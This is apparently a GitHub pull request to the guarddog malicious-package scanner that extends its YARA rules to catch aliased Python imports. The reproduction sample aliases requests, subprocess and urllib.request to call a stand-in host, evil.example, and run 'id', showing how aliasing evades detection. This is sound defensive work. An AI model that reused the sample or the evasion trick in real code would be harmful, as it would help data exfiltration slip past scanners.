Skip to content

Match aliased imports in Python capability rules - #921

Open
talalkashar wants to merge 1 commit into
DataDog:v3from
talalkashar:talalkashar/capability-import-aliases
Open

talalkashar wants to merge 1 commit into
DataDog:v3from
talalkashar:talalkashar/capability-import-aliases

Conversation

@talalkashar

Copy link
Copy Markdown

Fixes #913

What was wrong

capability-network-outbound, capability-network-download and capability-process-spawn match the literal module.attribute text (requests.get, urllib.request.urlopen, subprocess.run). Once the module is imported under an alias, the call site reads _r.get(...) and none of the three rules fire.

Reproduction

Scanning a directory with only this file on main gives no findings:

import requests as _r
import subprocess as _sp
import urllib.request as _u

_r.get("https://evil.example/collect")
_sp.run(["id"], shell=False)
_u.urlopen("https://evil.example/x")
guarddog pypi scan ./adv --output-format json

What changed

YARA can't tie an alias back to its call site, so these strings match the aliased import itself. That follows how threat-setup-import-aliasing keys on from X import f as Y, and how the JS strings in capability-process-spawn key on the child_process require and on destructured imports.

  • outbound: import requests as, import urllib.request as, and from requests|urllib.request import <fn> as
  • download: the same imports, with the from form limited to get, urlopen and urlretrieve
  • process-spawn: import subprocess as, from subprocess import <fn> as

A plain import requests with no call still does not match, and import requests_toolbelt as x doesn't match either (the pattern needs whitespace after the module name). With this change, the file above gets one finding from each of the three rules.

Testing

  • Added *.import-alias.py positive fixtures for each rule. They fail on main and pass with this change.
  • pytest tests/analyzer/sourcecode: 136 passed
  • pytest tests/core tests/reporters: 242 passed, 2 skipped
  • make lint (first flake8 pass): 0 errors

capability-network-outbound, capability-network-download and
capability-process-spawn key on the literal module.attribute text
(requests.get, urllib.request.urlopen, subprocess.run). After
"import requests as _r" the call site reads "_r.get(...)", so the
same code produces no findings.

Add strings for "import X as Y" and "from X import f as Y" for these
modules, the same way the JS strings already key on the require of
child_process and on destructured imports.

Fixes DataDog#913
@talalkashar
talalkashar requested a review from a team as a code owner November 6, 2026 04:09

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[BUG] Capability YARA rules miss imported-module aliases (import requests as r)

1 participant